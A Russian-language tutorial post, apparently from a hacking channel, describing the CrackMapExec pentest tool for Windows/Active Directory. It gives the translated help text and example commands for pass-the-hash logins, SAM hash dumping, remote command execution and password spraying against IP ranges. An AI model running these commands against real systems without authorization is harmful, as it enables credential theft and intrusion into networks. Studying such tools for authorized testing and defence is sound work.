CrackMapExec
Life-Hack - Linux/Хакинг/Хакер/ИБ/Osint
Это швейцарский армейский нож для тестирования на проникновение в средах Windows/Active Directory. Инструмент имеет широкий спектр возможностей, от перечисления пользователей, вошедших в систему, и спайдеринга общих папок SMB до выполнения атак в стиле psexec, автоматического внедрения Mimikatz/Shellcode/DLL в память с помощью Powershell, дампа NTDS.dit и многого другого. CrackMapExec написан на Python, не требует установки дополнительных инструментов, имеет параллельную многопоточность и использует только нативные вызовы WinAPI для обнаружения сессий, пользователей, дампа хэшей SAM и т.д. Из плюсов можно отметить безопасность Opsec (двоичные файлы не загружаются для дампа учетных данных в открытом виде, внедрения шелл-кода и т.д.). Кроме того, имеется база данных для удобного хранения учетных данных. CrackMapExec умеет автоматически сопоставлять учетные данные администратора с узлами и наоборот, что позволяет легко отслеживать наборы учетных данных и получать дополнительную ситуационную осведомленность в больших средах.
Домашняя страница проекта: https://github.com/byt3bl33d3r/CrackMapExec
crackmapexec.py [-h] [-v] [-t ПОТОКИ] [-id CRED_ID]
[-u [ИМЯ_ПОЛЬЗОВАТЕЛЯ [ИМЯ_ПОЛЬЗОВАТЕЛЯ ...]]] [-d ДОМЕН]
[-p [ПАРОЛЬ [ПАРОЛЬ ...]] | -H [HASH [HASH ...]]]
[-m MODULE] [-o [ОПЦИЯ_МОДУЛЯ [ОПЦИЯ_МОДУЛЯ ...]]]
[--module-info] [--share SHARE] [--smb-port {139,445}]
[--mssql-port ПОРТ] [--server {http,https}]
[--server-host ХОСТ] [--server-port PORT]
[--local-auth] [--timeout TIMEOUT] [--verbose] [--sam]
[--lsa] [--ntds {vss,drsuapi}] [--ntds-history]
[--ntds-pwdLastSet] [--wdigest {enable,disable}]
[--shares] [--uac] [--sessions] [--disks] [--users]
[--rid-brute [MAX_RID]] [--pass-pol] [--lusers]
[--wmi ЗАПРОС] [--wmi-namespace ПРОСТРАНСТВО_ИМЁН]
[--spider [ПАПКА]] [--content]
[--exclude-dirs СПИСОК_ДИРЕКТОРИЙ]
[--pattern [ОБРАЗЕЦ [ОБРАЗЕЦ...]] | --regex
[РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ ...]]] [--depth ГЛУБИНА]
[--exec-method {atexec,smbexec,wmiexec}] [--force-ps32]
[--no-output] [-x КОМАНДА] [-X КОМАНДА_ PowerShell] [--mssql]
[--mssql-query ЗАПРОС]
[цель [цель...]]
Опциональные аргументы:
-h, --help показать справку и выйти
-v, --version показать версию программы и выйти
-t ПОТОКИ Установить количество одновременно используемых потоков (по умолчанию 100)
-id CRED_ID ID учётных данных базы данных для использования в аутентификации
-u [ИМЯ_ПОЛЬЗОВАТЕЛЯ [ИМЯ_ПОЛЬЗОВАТЕЛЯ ...]] Имя(имена) или файл(ы) содержащих имена пользователей
-d ДОМЕН Имя домена
-p [ПАРОЛЬ [ПАРОЛЬ ...]] Пароль(и) или файл(ы) содержащие пароли
-H [ХЕШ [ХЕШ ...]] NTLM хеш(и) или файл(ы) содержащие NTLM хеши
-m МОДУЛЬ, --module МОДУЛЬ Модуль полезной нагрузки для использования
-o [ОПЦИЯ_МОДУЛЯ [ОПЦИЯ_МОДУЛЯ ...]] Опции модуля полезной нагрузки
--module-info Показать информацию о модули
--share ОБЩАЯ_ПАПКА Указать общую папку (по умолчанию: C$)
--smb-port {139,445} Порт SMB (по умолчанию: 445)
--mssql-port ПОРТ Порт MSSQL (по умолчанию: 1433)
--server {http,https} Использовать выбранный сервер (по умолчанию: https)
--server-host ХОСТ IP для привязки к серверу (по умолчанию: 0.0.0.0)
--server-port ПОРТ Запустить сервер на указанном порту
--local-auth Локальная аутентификация к каждой цели
--timeout TIMEOUT Максимальное время в секундах для каждого потока (по умолчанию: 20)
--verbose Включить вербальный режим
Опции для сбора учётных данных:
--sam Дамп хешей SAM с целевых систем
--lsa Дамп секретов LSA с целевых систем
--ntds {vss,drsuapi} Дампить NTDS.dit с целевых DCs используя указанный метод (drsuapi является более быстрым)
--ntds-history Дамп истории паролей NTDS.dit
--ntds-pwdLastSet Показать атрибуты pwdLastSet для каждого аккаунта NTDS.dit
--wdigest {enable,disable} Создать/Удалить ключ регистра 'UseLogonCredential' включающий дампинг учётных данных WDigest на Windows >= 8.1
Опции для маппинга/перечисления:
--shares Перечислить шары и доступ --uac Проверить статус UAC --sessions Перечислить активные сессии --disks Перечислить диски --users Перечислить пользователей --rid-brute [MAX_RID] Перечислить пользователей брут-форсингом RID (по умолчанию: 4000) --pass-pol Дамп политики паролей --lusers Перечислить вошедших пользователей --wmi ЗАПРОС Выдать указанный запрос WMI --wmi-namespace ПРОСТРАНСТВО_ИМЁН Пространство имён WMI (по умолчанию: //./root/cimv2)
Опции для индексации общих папок:
--spider [ПАПКА] Папка для индексации (по умолчанию: root directory) --content Включить поиск по содержимому файлов --exclude-dirs СПИСОК_ДИРЕКТОРИЙ Директории для исключения из индексации --pattern [ОБРАЗЕЦ [ОБРАЗЕЦ ...]] Образец(ы) для поиска в каталогах, именах файлов и содержимом файлов --regex [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ [РЕГУЛЯРНОЕ_ВЫРАЖЕНИЕ ...]] Регулярное выражение(я) для поиска в каталогах, именах файлов и содержимом файлов --depth ГЛУБИНА Глубина рекурсивной индексации (по умолчанию: 10)
Опции для выполнения команд:
--exec-method {atexec,smbexec,wmiexec} Метод исполнения команд. Игнорируется в режиме MSSQL (по умолчанию: wmiexec)
--force-ps32 Принудительно исполнять команды PowerShell в 32-битном процессе
--no-output Не получать вывод команд
-x КОМАНДА Выполнить указанную команду
-X КОМАНДА_ PowerShell Выполнить указанную команду PowerShell
Опции для взаимодействия с БД MSSQL:
--mssql Переключить CME в режим MSSQL. Если указаны учётные данные, то проведёт аутентификацию в отношении всех найденных БД MSSQL --mssql-query ЗАПРОС Выполнить указанный запрос в отношении БД MSSQL
CME поддерживает аутентификацию через SMB с помощью атак Passing-The-Hash с флагом -H:
crackmapexec smb <target(s)> -u username -H NTHASH
Дамп локальных хэшей SAM:
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --local-auth --sam
Проверка на наличие вошедших в систему пользователей:
crackmapexec smb 192.168.215.104 -u 'Administrator' -p 'PASS' --lusers
В следующем примере мы пытаемся выполнить whoami на целевом объекте, используя флаг -x:
crackmapexec smb 192.168.10.11 -u Administrator -p 'PASS' -x whoami
Перебор и распыление паролей:
crackmapexec <protocol> <target(s)> -u username1 -p password1 password2 crackmapexec <protocol> <target(s)> -u username1 username2 -p password1 crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -p ~/file_containing_passwords crackmapexec <protocol> <target(s)> -u ~/file_containing_usernames -H ~/file_containing_ntlm_hashes crackmapexec smb 10.0.2.0/24 -u ‘admin’ -p ‘P@ssw0rd'